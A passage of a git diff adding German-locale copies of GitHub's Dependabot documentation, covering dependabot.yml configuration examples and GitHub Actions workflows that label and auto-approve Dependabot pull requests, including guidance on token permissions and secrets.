+{% data reusables.repositories.navigate-to-code-security-and-analysis %}
+1. Under "Code security and analysis", to the right of "{% data variables.product.prodname_dependabot_version_updates %}", click **Enable** to open a basic *dependabot.yml* configuration file in the `.github` directory of your repository.
+{% else %}
+1. Create a *dependabot.yml* configuration file in the `.github` directory of your repository. 
+{% endif %}
+1. Add a `version`. 
+1. Optionally, if you have dependencies in a private registry, add a `registries` section containing authentication details. 
+1. Add an `updates` section, with an entry for each package manager you want {% data variables.product.prodname_dependabot %} to monitor.
+1. For each package manager, use:
+    - `package-ecosystem` to specify the package manager.
+    - `directory` to specify the location of the manifest or other definition files.
+    - `schedule.interval` to specify how often to check for new versions.
+{% data reusables.dependabot.check-in-dependabot-yml %}
+
+For information about all the configuration options, see "[Configuration options for the dependabot.yml file](/github/administering-a-repository/configuration-options-for-dependency-updates)."
+
+### Example *dependabot.yml* file
+
+The example *dependabot.yml* file below configures version updates for two package managers: npm and Docker. When this file is checked in, {% data variables.product.prodname_dependabot %} checks the manifest files on the default branch for outdated dependencies. If it finds outdated dependencies, it will raise pull requests against the default branch to update the dependencies.
+
+```yaml
+# Basic dependabot.yml file with
+# minimum configuration for two package managers
+
+version: 2
+updates:
+  # Enable version updates for npm
+  - package-ecosystem: "npm"
+    # Look for `package.json` and `lock` files in the `root` directory
+    directory: "/"
+    # Check the npm registry for updates every day (weekdays)
+    schedule:
+      interval: "daily"
+
+  # Enable version updates for Docker
+  - package-ecosystem: "docker"
+    # Look for a `Dockerfile` in the `root` directory
+    directory: "/"
+    # Check for updates once a week
+    schedule:
+      interval: "weekly"
+```
+
+In the example above, if the Docker dependencies were very outdated, you might want to start with a `daily` schedule until the dependencies are up-to-date, and then drop back to a weekly schedule.
+
+### Enabling version updates on forks
+
+If you want to enable version updates on forks, there's an extra step. Version updates are not automatically enabled on forks when a *dependabot.yml* configuration file is present. This ensures that fork owners don't unintentionally enable version updates when they pull changes including a *dependabot.yml* configuration file from the original repository. 
+
+On a fork, you also need to explicitly enable {% data variables.product.prodname_dependabot %}.
+
+{% ifversion dependabot-version-updates-for-forks %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.navigate-to-code-security-and-analysis %}
+1. Under "Code security and analysis", to the right of "{% data variables.product.prodname_dependabot_version_updates %}", click **Enable** to allow {% data variables.product.prodname_dependabot %} to initiate version updates.
+![Screenshot of {% data variables.product.prodname_dependabot_version_updates %} setting for a forked repository](/assets/images/help/dependabot/dependabot-version-update-forks.png)
+
+{% else %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.accessing-repository-graphs %}
+{% data reusables.repositories.click-dependency-graph %}
+{% data reusables.dependabot.click-dependabot-tab %}
+5. Under "Enable Dependabot", click **Enable Dependabot**.
+
+{% endif %}
+
+## Checking the status of version updates
+
+After you enable version updates, the **Dependabot** tab in the dependency graph for the repository is populated. This tab shows which package managers {% data variables.product.prodname_dependabot %} is configured to monitor and when {% data variables.product.prodname_dependabot %} last checked for new versions.
+
+![Repository Insights tab, Dependency graph, Dependabot tab](/assets/images/help/dependabot/dependabot-tab-view.png)
+
+For information, see "[Listing dependencies configured for version updates](/github/administering-a-repository/listing-dependencies-configured-for-version-updates)."
+
+## Disabling {% data variables.product.prodname_dependabot_version_updates %}
+
+You can disable version updates entirely by deleting the *dependabot.yml* file from your repository. More usually, you want to disable updates temporarily for one or more dependencies, or package managers.
+
+- Package managers: disable by setting `open-pull-requests-limit: 0` or by commenting out the relevant `package-ecosystem` in the configuration file.
+- Specific dependencies: disable by adding `ignore` attributes for packages or applications that you want to exclude from updates.
+
+When you disable dependencies, you can use wild cards to match a set of related libraries. You can also specify which versions to exclude. This is particularly useful if you need to block updates to a library, pending work to support a breaking change to its API, but want to get any security fixes to the version you use.
+
+### Example disabling version updates for some dependencies
+
+The example *dependabot.yml* file below includes examples of the different ways to disable updates to some dependencies, while allowing other updates to continue.
+
+```yaml
+# dependabot.yml file with updates
+# disabled for Docker and limited for npm
+
+version: 2
+updates:
+  # Configuration for Dockerfile
+  - package-ecosystem: "docker"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+      # Disable all pull requests for Docker dependencies
+    open-pull-requests-limit: 0
+
+  # Configuration for npm
+  - package-ecosystem: "npm"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+    ignore:
+      # Ignore updates to packages that start with 'aws'
+      # Wildcards match zero or more arbitrary characters
+      - dependency-name: "aws*"
+      # Ignore some updates to the 'express' package
+      - dependency-name: "express"
+        # Ignore only new versions for 4.x and 5.x
+        versions: ["4.x", "5.x"]
+      # For all packages, ignore all patch updates
+      - dependency-name: "*"
+        update-types: ["version-update:semver-patch"]
+```
+
+For more information about checking for existing ignore preferences, see "[Configuration options for the dependabot.yml file](/github/administering-a-repository/configuration-options-for-dependency-updates#ignore)."
diff --git a/translations/de-DE/content/code-security/dependabot/dependabot-version-updates/customizing-dependency-updates.md b/translations/de-DE/content/code-security/dependabot/dependabot-version-updates/customizing-dependency-updates.md
new file mode 100644
index 0000000000..4ec0f0cac8
--- /dev/null
+++ b/translations/de-DE/content/code-security/dependabot/dependabot-version-updates/customizing-dependency-updates.md
@@ -0,0 +1,144 @@
+---
+title: Customizing dependency updates
+intro: 'You can customize how {% data variables.product.prodname_dependabot %} maintains your dependencies.'
+permissions: 'People with write permissions to a repository can configure {% data variables.product.prodname_dependabot %} for the repository.'
+redirect_from:
+  - /github/administering-a-repository/customizing-dependency-updates
+  - /code-security/supply-chain-security/customizing-dependency-updates
+  - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/customizing-dependency-updates
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+type: how_to
+topics:
+  - Dependabot
+  - Version updates
+  - Security updates
+  - Repositories
+  - Dependencies
+  - Pull requests
+  - Vulnerabilities
+shortTitle: Customize updates
+---
+
+{% data reusables.dependabot.beta-security-and-version-updates %}
+{% data reusables.dependabot.enterprise-enable-dependabot %}
+
+## About customizing dependency updates
+
+After you've enabled version updates, you can customize how {% data variables.product.prodname_dependabot %} maintains your dependencies by adding further options to the *dependabot.yml* file. For example, you could:
+
+- Specify which day of the week to open pull requests for version updates: `schedule.day`
+- Set reviewers, assignees, and labels for each package manager: `reviewers`, `assignees`, and `labels`
+- Define a versioning strategy for changes to each manifest file: `versioning-strategy`
+- Change the maximum number of open pull requests for version updates from the default of 5: `open-pull-requests-limit`
+- Open pull requests for version updates to target a specific branch, instead of the default branch: `target-branch`
+
+For more information about the configuration options, see "[Configuration options for the dependabot.yml file](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates)."
+
+When you update the *dependabot.yml* file in your repository, {% data variables.product.prodname_dependabot %} runs an immediate check with the new configuration. Within minutes you will see an updated list of dependencies on the **{% data variables.product.prodname_dependabot %}** tab, this may take longer if the repository has many dependencies. You may also see new pull requests for version updates. For more information, see "[Listing dependencies configured for version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/listing-dependencies-configured-for-version-updates)."
+
+## Impact of configuration changes on security updates
+
+If you customize the *dependabot.yml* file, you may notice some changes to the pull requests raised for security updates. These pull requests are always triggered by a security advisory for a dependency, rather than by the {% data variables.product.prodname_dependabot %} schedule. However, they inherit relevant configuration settings from the *dependabot.yml* file unless you specify a different target branch for version updates.
+
+For an example, see "[Setting custom labels](#setting-custom-labels)" below.
+
+## Modifying scheduling
+
+When you set a `daily` update schedule, by default, {% data variables.product.prodname_dependabot %} checks for new versions at 05:00 UTC. You can use `schedule.time` to specify an alternative time of day to check for updates (format: `hh:mm`).
+
+The example *dependabot.yml* file below expands the npm configuration to specify when {% data variables.product.prodname_dependabot %} should check for version updates to dependencies.
+
+```yaml
+# dependabot.yml file with
+# customized schedule for version updates
+
+version: 2
+updates:
+  # Keep npm dependencies up to date
+  - package-ecosystem: "npm"
+    directory: "/"
+    # Check the npm registry for updates at 2am UTC
+    schedule:
+      interval: "daily"
+      time: "02:00"
+```
+
+## Setting reviewers and assignees
+
+By default, {% data variables.product.prodname_dependabot %} raises pull requests without any reviewers or assignees.
+
+You can use `reviewers` and `assignees`  to specify reviewers and assignees for all pull requests raised for a package manager. When you specify a team, you must use the full team name, as if you were @mentioning the team (including the organization).
+
+The example *dependabot.yml* file below changes the npm configuration so that all pull requests opened with version and security updates for npm will have two reviewers and one assignee.
+
+```yaml
+# dependabot.yml file with
+# reviews and an assignee for all npm pull requests
+
+version: 2
+updates:
+  # Keep npm dependencies up to date
+  - package-ecosystem: "npm"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+    # Raise all npm pull requests with reviewers
+    reviewers:
+      - "my-org/team-name"
+      - "octocat"
+    # Raise all npm pull requests with an assignee
+    assignees:
+      - "user-name"
+```
+
+## Setting custom labels
+
+{% data reusables.dependabot.default-labels %}
+
+You can use `labels` to override the default labels and specify alternative labels for all pull requests raised for a package manager. You can't create new labels in the *dependabot.yml* file, so the alternative labels must already exist in the repository.
+
+The example *dependabot.yml* file below changes the npm configuration so that all pull requests opened with version and security updates for npm will have custom labels. It also changes the Docker configuration to check for version updates against a custom branch and to raise pull requests with custom labels against that custom branch. The changes to Docker will not affect security update pull requests because security updates are always made against the default branch.
+
+{% note %}
+
+**Note:** The new `target-branch` must contain a Dockerfile to update, otherwise this change will have the effect of disabling version updates for Docker.
+
+{% endnote %}
+
+```yaml
+# dependabot.yml file with
+# customized npm configuration
+
+version: 2
+updates:
+  # Keep npm dependencies up to date
+  - package-ecosystem: "npm"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+    # Raise all npm pull requests with custom labels
+    labels:
+      - "npm dependencies"
+      - "triage-board"
+
+    # Keep Docker dependencies up to date
+  - package-ecosystem: "docker"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+    # Raise pull requests for Docker version updates
+    # against the "develop" branch. The Docker configuration
+    # no longer affects security update pull requests.
+    target-branch: "develop"
+    # Use custom labels on pull requests for Docker version updates
+    labels:
+      - "Docker dependencies"
+      - "triage-board"
+```
+
+## More examples
+
+For more examples, see "[Configuration options for the dependabot.yml file](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates)."
diff --git a/translations/de-DE/content/code-security/dependabot/dependabot-version-updates/index.md b/translations/de-DE/content/code-security/dependabot/dependabot-version-updates/index.md
new file mode 100644
index 0000000000..e1a339c9f9
--- /dev/null
+++ b/translations/de-DE/content/code-security/dependabot/dependabot-version-updates/index.md
@@ -0,0 +1,32 @@
+---
+title: Automatische Aktualisierung deiner Abhängigkeiten mit Versionsupdates von Dependabot
+intro: 'Du kannst {% data variables.product.prodname_dependabot %} verwenden, damit die Abhängigkeiten und Pakete in deinem Repository automatisch auf dem neuesten Stand gehalten werden – auch dann, wenn keine bekannten Sicherheitsrisiken vorliegen.'
+allowTitleToDifferFromFilename: true
+redirect_from:
+  - /github/administering-a-repository/keeping-your-dependencies-updated-automatically
+  - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+topics:
+  - Repositories
+  - Dependabot
+  - Version updates
+  - Dependencies
+  - Pull requests
+children:
+  - /about-dependabot-version-updates
+  - /configuring-dependabot-version-updates
+  - /listing-dependencies-configured-for-version-updates
+  - /customizing-dependency-updates
+  - /configuration-options-for-the-dependabot.yml-file
+shortTitle: Dependabot version updates
+ms.openlocfilehash: 7d926dd11d8d97511a66109273e30aa018f2707a
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109803'
+---
+
diff --git a/translations/de-DE/content/code-security/dependabot/dependabot-version-updates/listing-dependencies-configured-for-version-updates.md b/translations/de-DE/content/code-security/dependabot/dependabot-version-updates/listing-dependencies-configured-for-version-updates.md
new file mode 100644
index 0000000000..e44e45c3e1
--- /dev/null
+++ b/translations/de-DE/content/code-security/dependabot/dependabot-version-updates/listing-dependencies-configured-for-version-updates.md
@@ -0,0 +1,42 @@
+---
+title: Listing dependencies configured for version updates
+intro: 'You can view the dependencies that {% data variables.product.prodname_dependabot %} monitors for updates.'
+redirect_from:
+  - /github/administering-a-repository/listing-dependencies-configured-for-version-updates
+  - /code-security/supply-chain-security/listing-dependencies-configured-for-version-updates
+  - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/listing-dependencies-configured-for-version-updates
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+type: how_to
+topics:
+  - Repositories
+  - Dependabot
+  - Version updates
+  - Dependencies
+shortTitle: List configured dependencies
+---
+
+{% data reusables.dependabot.beta-security-and-version-updates %}
+{% data reusables.dependabot.enterprise-enable-dependabot %}
+
+## Viewing dependencies monitored by {% data variables.product.prodname_dependabot %}
+
+After you've enabled version updates, you can confirm that your configuration is correct using the **{% data variables.product.prodname_dependabot %}** tab in the dependency graph for the repository. For more information, see "[Configuring {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)."
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.accessing-repository-graphs %}
+{% data reusables.repositories.click-dependency-graph %}
+{% data reusables.dependabot.click-dependabot-tab %}
+1. Optionally, to view the files monitored for a package manager, click the associated {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
+  ![Monitored dependency files](/assets/images/help/dependabot/monitored-dependency-files.png)
+
+If any dependencies are missing, check the log files for errors. If any package managers are missing, review the configuration file.
+
+## Viewing {% data variables.product.prodname_dependabot %} log files
+
+1. On the **{% data variables.product.prodname_dependabot %}** tab, click **Last checked *TIME* ago** to see the log file that {% data variables.product.prodname_dependabot %} generated during the last check for version updates.
+  ![View log file](/assets/images/help/dependabot/last-checked-link.png)
+2. Optionally, to rerun the version check, click **Check for updates**.
+  ![Check for updates](/assets/images/help/dependabot/check-for-updates.png)
diff --git a/translations/de-DE/content/code-security/dependabot/index.md b/translations/de-DE/content/code-security/dependabot/index.md
new file mode 100644
index 0000000000..666a247504
--- /dev/null
+++ b/translations/de-DE/content/code-security/dependabot/index.md
@@ -0,0 +1,29 @@
+---
+title: Schützen deiner Lieferkette mit Dependabot
+shortTitle: Dependabot
+intro: 'Überwache Sicherheitsrisiken in Abhängigkeiten deines Projekts{% ifversion fpt or ghec or ghes %}, und halte diese aktuell{% endif %} mit {% data variables.product.prodname_dependabot %}.'
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Dependabot
+  - Alerts
+  - Vulnerabilities
+  - Repositories
+  - Dependencies
+children:
+  - /dependabot-alerts
+  - /dependabot-security-updates
+  - /dependabot-version-updates
+  - /working-with-dependabot
+ms.openlocfilehash: a3a79cc975a019b80414fcf9387848a55aee39d2
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108391'
+---
+
diff --git a/translations/de-DE/content/code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions.md b/translations/de-DE/content/code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions.md
new file mode 100644
index 0000000000..95d5d7ab1d
--- /dev/null
+++ b/translations/de-DE/content/code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions.md
@@ -0,0 +1,562 @@
+---
+title: Automating Dependabot with GitHub Actions
+intro: 'Examples of how you can use {% data variables.product.prodname_actions %} to automate common {% data variables.product.prodname_dependabot %} related tasks.'
+permissions: 'People with write permissions to a repository can configure {% data variables.product.prodname_actions %} to respond to {% data variables.product.prodname_dependabot %}-created pull requests.'
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Actions
+  - Dependabot
+  - Version updates
+  - Security updates
+  - Repositories
+  - Dependencies
+  - Pull requests
+shortTitle: Use Dependabot with Actions
+redirect_from:
+  - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions
+---
+
+{% data reusables.dependabot.beta-security-and-version-updates %}
+{% data reusables.dependabot.enterprise-enable-dependabot %}
+
+## About {% data variables.product.prodname_dependabot %} and {% data variables.product.prodname_actions %}
+
+{% data variables.product.prodname_dependabot %} creates pull requests to keep your dependencies up to date, and you can use {% data variables.product.prodname_actions %} to perform automated tasks when these pull requests are created. For example, fetch additional artifacts, add labels, run tests, or otherwise modifying the pull request.
+
+## Responding to events
+
+{% data variables.product.prodname_dependabot %} is able to trigger {% data variables.product.prodname_actions %} workflows on its pull requests and comments; however, certain events are treated differently.
+
+{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+For workflows initiated by {% data variables.product.prodname_dependabot %} (`github.actor == 'dependabot[bot]'`) using the `pull_request`, `pull_request_review`, `pull_request_review_comment`, `push`, `create`, `deployment`, and `deployment_status` events, the following restrictions apply:
+{% endif %}
+
+- {% ifversion ghes = 3.3 %}`GITHUB_TOKEN` has read-only permissions, unless your administrator has removed restrictions.{% else %}`GITHUB_TOKEN` has read-only permissions by default.{% endif %}
+- {% ifversion ghes = 3.3 %}Secrets are inaccessible, unless your administrator has removed restrictions.{% else %}Secrets are populated from {% data variables.product.prodname_dependabot %} secrets. {% data variables.product.prodname_actions %} secrets are not available.{% endif %}
+
+{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+For workflows initiated by {% data variables.product.prodname_dependabot %} (`github.actor == 'dependabot[bot]'`) using the `pull_request_target` event, if the base ref of the pull request was created by {% data variables.product.prodname_dependabot %} (`github.actor == 'dependabot[bot]'`), the `GITHUB_TOKEN` will be read-only and secrets are not available.
+{% endif %}
+
+{% ifversion actions-stable-actor-ids %}These restrictions apply even if the workflow is re-run by a different actor.{% endif %}
+
+For more information, see ["Keeping your GitHub Actions and workflows secure: Preventing pwn requests"](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+
+{% ifversion fpt or ghec or ghes > 3.3 %}
+
+### Changing `GITHUB_TOKEN` permissions
+
+By default, {% data variables.product.prodname_actions %} workflows triggered by {% data variables.product.prodname_dependabot %} get a `GITHUB_TOKEN` with read-only permissions. You can use the `permissions` key in your workflow to increase the access for the token:
+
+{% raw %}
+
+```yaml
+name: CI
+on: pull_request
+
+# Set the access for individual scopes, or use permissions: write-all
+permissions:
+  pull-requests: write
+  issues: write
+  repository-projects: write
+  ...
+
+jobs:
+  ...
+```
+
+{% endraw %}
+
+For more information, see "[Modifying the permissions for the GITHUB_TOKEN](/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github_token)."
+
+### Accessing secrets
+
+When a {% data variables.product.prodname_dependabot %} event triggers a workflow, the only secrets available to the workflow are {% data variables.product.prodname_dependabot %} secrets. {% data variables.product.prodname_actions %} secrets are not available. Consequently, you must store any secrets that are used by a workflow triggered by {% data variables.product.prodname_dependabot %} events as {% data variables.product.prodname_dependabot %} secrets. For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)".
+
+{% data variables.product.prodname_dependabot %} secrets are added to the `secrets` context and referenced using exactly the same syntax as secrets for {% data variables.product.prodname_actions %}. For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets#using-encrypted-secrets-in-a-workflow)."
+
+If you have a workflow that will be triggered by {% data variables.product.prodname_dependabot %} and also by other actors, the simplest solution is to store the token with the permissions required in an action and in a {% data variables.product.prodname_dependabot %} secret with identical names. Then the workflow can include a single call to these secrets. If the secret for {% data variables.product.prodname_dependabot %} has a different name, use conditions to specify the correct secrets for different actors to use. For examples that use conditions, see "[Common automations](#common-dependabot-automations)" below.
+
+To access a private container registry on AWS with a user name and password, a workflow must include a secret for `username` and `password`. In the example below, when {% data variables.product.prodname_dependabot %} triggers the workflow, the {% data variables.product.prodname_dependabot %} secrets with the names `READONLY_AWS_ACCESS_KEY_ID` and `READONLY_AWS_ACCESS_KEY` are used. If another actor triggers the workflow, the actions secrets with those names are used.
+
+```yaml
+name: CI
+on:
+  pull_request:
+    branches: [ main ]
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout repository
+        uses: {% data reusables.actions.action-checkout %}
+
+      - name: Login to private container registry for dependencies
+        uses: docker/login-action@v1
+        with:
+          registry: https://1234567890.dkr.ecr.us-east-1.amazonaws.com
+          username: {% raw %}${{ secrets.READONLY_AWS_ACCESS_KEY_ID }}{% endraw %}
+          password: {% raw %}${{ secrets.READONLY_AWS_ACCESS_KEY }}{% endraw %}
+
+      - name: Build the Docker image
+        run: docker build . --file Dockerfile --tag my-image-name:$(date +%s)
+```
+
+{% endif %}
+
+{% ifversion ghes = 3.3 %}
+
+{% note %}
+
+**Note:** Your site administrator can override these restrictions for {% data variables.location.product_location %}. For more information, see "[Troubleshooting {% data variables.product.prodname_actions %} for your enterprise](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise#troubleshooting-failures-when-dependabot-triggers-existing-workflows)."
+
+If the restrictions are removed, when a workflow is triggered by {% data variables.product.prodname_dependabot %} it will have access to {% data variables.product.prodname_actions %} secrets and can use the `permissions` term to increase the default scope of the `GITHUB_TOKEN` from read-only access. You can ignore the specific steps in the "Handling `pull_request` events" and "Handling `push` events" sections, as it no longer applies.
+
+{% endnote %}
+
+### Handling `pull_request` events
+
+If your workflow needs access to secrets or a `GITHUB_TOKEN` with write permissions, you have two options: using `pull_request_target`, or using two separate workflows. We will detail using `pull_request_target` in this section, and using two workflows below in "[Handling `push` events](#handling-push-events)."
+
+Below is a simple example of a `pull_request` workflow that might now be failing:
+
+```yaml
+### This workflow now has no secrets and a read-only token
+name: Dependabot Workflow
+on:
+  pull_request
+
+jobs:
+  dependabot:
+    runs-on: ubuntu-latest
+    # Always check the actor is Dependabot to prevent your workflow from failing on non-Dependabot PRs
+    if: {% raw %}${{ github.actor == 'dependabot[bot]' }}{% endraw %}
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+```
+
+You can replace `pull_request` with `pull_request_target`, which is used for pull requests from forks, and explicitly check out the pull request `HEAD`.
+
+{% warning %}
+
+**Warning:** Using `pull_request_target` as a substitute for `pull_request` exposes you to insecure behavior. We recommend you use the two workflow method, as described below in "[Handling `push` events](#handling-push-events)."
+
+{% endwarning %}
+
+```yaml
+### This workflow has access to secrets and a read-write token
+name: Dependabot Workflow
+on:
+  pull_request_target
+
+permissions:
+  # Downscope as necessary, since you now have a read-write token
+
+jobs:
+  dependabot:
+    runs-on: ubuntu-latest
+    if: {% raw %}${{ github.actor == 'dependabot[bot]' }}{% endraw %}
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+        with:
+          # Check out the pull request HEAD
+          ref: {% raw %}${{ github.event.pull_request.head.sha }}{% endraw %}
+          github-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+```
+
+It is also strongly recommended that you downscope the permissions granted to the `GITHUB_TOKEN` in order to avoid leaking a token with more privilege than necessary. For more information, see "[Permissions for the `GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."
+
+### Handling `push` events
+
+As there is no `pull_request_target` equivalent for `push` events, you will have to use two workflows: one untrusted workflow that ends by uploading artifacts, which triggers a second trusted workflow that downloads artifacts and continues processing.
+
+The first workflow performs any untrusted work:
+
+{% raw %}
+
+```yaml
+### This workflow doesn't have access to secrets and has a read-only token
+name: Dependabot Untrusted Workflow
+on:
+  push
+
+jobs:
+  check-dependabot:
+    runs-on: ubuntu-latest
+    if: ${{ github.actor == 'dependabot[bot]' }}
+    steps:
+      - uses: ...
+```
+
+{% endraw %}
+
+The second workflow performs trusted work after the first workflow completes successfully:
+
+{% raw %}
+
+```yaml
+### This workflow has access to secrets and a read-write token
+name: Dependabot Trusted Workflow
+on:
+  workflow_run:
+    workflows: ["Dependabot Untrusted Workflow"]
+    types:
+      - completed
+
+permissions:
+  # Downscope as necessary, since you now have a read-write token
+
+jobs:
+  dependabot:
+    runs-on: ubuntu-latest
+    if: ${{ github.event.workflow_run.conclusion == 'success' }}
+    steps:
+      - uses: ...
+```
+
+{% endraw %}
+
+{% endif %}
+
+### Manually re-running a workflow
+
+{% ifversion actions-stable-actor-ids %}
+
+When you manually re-run a Dependabot workflow, it will run with the same privileges as before even if the user who initiated the rerun has different privileges. For more information, see "[Re-running workflows and jobs](/actions/managing-workflow-runs/re-running-workflows-and-jobs)."
+
+{% else %}
+
+You can also manually re-run a failed Dependabot workflow, and it will run with a read-write token and access to secrets. Before manually re-running a failed workflow, you should always check the dependency being updated to ensure that the change doesn't introduce any malicious or unintended behavior.
+
+{% endif %}
+
+## Common Dependabot automations
+
+Here are several common scenarios that can be automated using {% data variables.product.prodname_actions %}.
+
+{% ifversion ghes = 3.3 %}
+
+{% note %}
+
+**Note:** If your site administrator has overridden restrictions for {% data variables.product.prodname_dependabot %} on {% data variables.location.product_location %}, you can use `pull_request` instead of `pull_request_target` in the following workflows.
+
+{% endnote %}
+
+{% endif %}
+
+### Fetch metadata about a pull request
+
+A large amount of automation requires knowing information about the contents of the pull request: what the dependency name was, if it's a production dependency, and if it's a major, minor, or patch update.
+
+The `dependabot/fetch-metadata` action provides all that information for you:
+
+{% ifversion ghes = 3.3 %}
+
+{% raw %}
+
+```yaml
+name: Dependabot fetch metadata
+on: pull_request_target
+
+permissions:
+  pull-requests: write
+  issues: write
+  repository-projects: write
+
+jobs:
+  dependabot:
+    runs-on: ubuntu-latest
+    if: ${{ github.actor == 'dependabot[bot]' }}
+    steps:
+      - name: Dependabot metadata
+        id: dependabot-metadata
+        uses: dependabot/fetch-metadata@v1.1.1
+        with:
+          github-token: "${{ secrets.GITHUB_TOKEN }}"
+      # The following properties are now available:
+      #  - steps.dependabot-metadata.outputs.dependency-names
+      #  - steps.dependabot-metadata.outputs.dependency-type
+      #  - steps.dependabot-metadata.outputs.update-type      
+```
+
+{% endraw %}
+
+{% else %}
+
+{% raw %}
+
+```yaml
+name: Dependabot fetch metadata
+on: pull_request
+
+permissions:
+  pull-requests: write
+  issues: write
+  repository-projects: write
+
+jobs:
+  dependabot:
+    runs-on: ubuntu-latest
+    if: ${{ github.actor == 'dependabot[bot]' }}
+    steps:
+      - name: Dependabot metadata
+        id: metadata
+        uses: dependabot/fetch-metadata@v1.1.1
+        with:
+          github-token: "${{ secrets.GITHUB_TOKEN }}"
+      # The following properties are now available:
+      #  - steps.metadata.outputs.dependency-names
+      #  - steps.metadata.outputs.dependency-type
+      #  - steps.metadata.outputs.update-type      
+```
+
+{% endraw %}
+
+{% endif %}
+
+For more information, see the [`dependabot/fetch-metadata`](https://github.com/dependabot/fetch-metadata) repository.
+
+### Label a pull request
+
+If you have other automation or triage workflows based on {% data variables.product.prodname_dotcom %} labels, you can configure an action to assign labels based on the metadata provided.
+
+For example, if you want to flag all production dependency updates with a label:
+
+{% ifversion ghes = 3.3 %}
+
+{% raw %}
+
+```yaml
+name: Dependabot auto-label
+on: pull_request_target
+
+permissions:
+  pull-requests: write
+  issues: write
+  repository-projects: write
+
+jobs:
+  dependabot:
+    runs-on: ubuntu-latest
+    if: ${{ github.actor == 'dependabot[bot]' }}
+    steps:
+      - name: Dependabot metadata
+        id: dependabot-metadata
+        uses: dependabot/fetch-metadata@v1.1.1
+        with:
+          github-token: "${{ secrets.GITHUB_TOKEN }}"
+      - name: Add a label for all production dependencies
+        if: ${{ steps.dependabot-metadata.outputs.dependency-type == 'direct:production' }}
+        run: gh pr edit "$PR_URL" --add-label "production"
+        env:
+          PR_URL: ${{github.event.pull_request.html_url}}
+```
+
+{% endraw %}
+
+{% else %}
+
+{% raw %}
+
+```yaml
+name: Dependabot auto-label
+on: pull_request
+
+permissions:
+  pull-requests: write
+  issues: write
+  repository-projects: write
+
+jobs:
+  dependabot:
+    runs-on: ubuntu-latest
+    if: ${{ github.actor == 'dependabot[bot]' }}
+    steps:
+      - name: Dependabot metadata
+        id: metadata
+        uses: dependabot/fetch-metadata@v1.1.1
+        with:
+          github-token: "${{ secrets.GITHUB_TOKEN }}"
+      - name: Add a label for all production dependencies
+        if: ${{ steps.metadata.outputs.dependency-type == 'direct:production' }}
+        run: gh pr edit "$PR_URL" --add-label "production"
+        env:
+          PR_URL: ${{github.event.pull_request.html_url}}
+```
+
+{% endraw %}
+
+{% endif %}
+
+### Approve a pull request
+
+If you want to automatically approve Dependabot pull requests, you can use the {% data variables.product.prodname_cli %} in a workflow:
+
+{% ifversion ghes = 3.3 %}
+
+{% raw %}
+
+```yaml
+name: Dependabot auto-approve
+on: pull_request_target
+
+permissions:
+  pull-requests: write
+
+jobs:
+  dependabot:
+    runs-on: ubuntu-latest
+    if: ${{ github.actor == 'dependabot[bot]' }}
+    steps:
+      - name: Dependabot metadata
+        id: dependabot-metadata
+        uses: dependabot/fetch-metadata@v1.1.1
+        with:
+          github-token: "${{ secrets.GITHUB_TOKEN }}"
+      - name: Approve a PR
+        run: gh pr review --approve "$PR_URL"
+        env:
+          PR_URL: ${{github.event.pull_request.html_url}}
+          GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}}
+```
+
+{% endraw %}
+
+{% else %}
+
+{% raw %}
+
+```yaml
+name: Dependabot auto-approve
+on: pull_request
+
+permissions:
+  pull-requests: write
+
+jobs:
+  dependabot:
+    runs-on: ubuntu-latest
+    if: ${{ github.actor == 'dependabot[bot]' }}
+    steps:
+      - name: Dependabot metadata
+        id: metadata
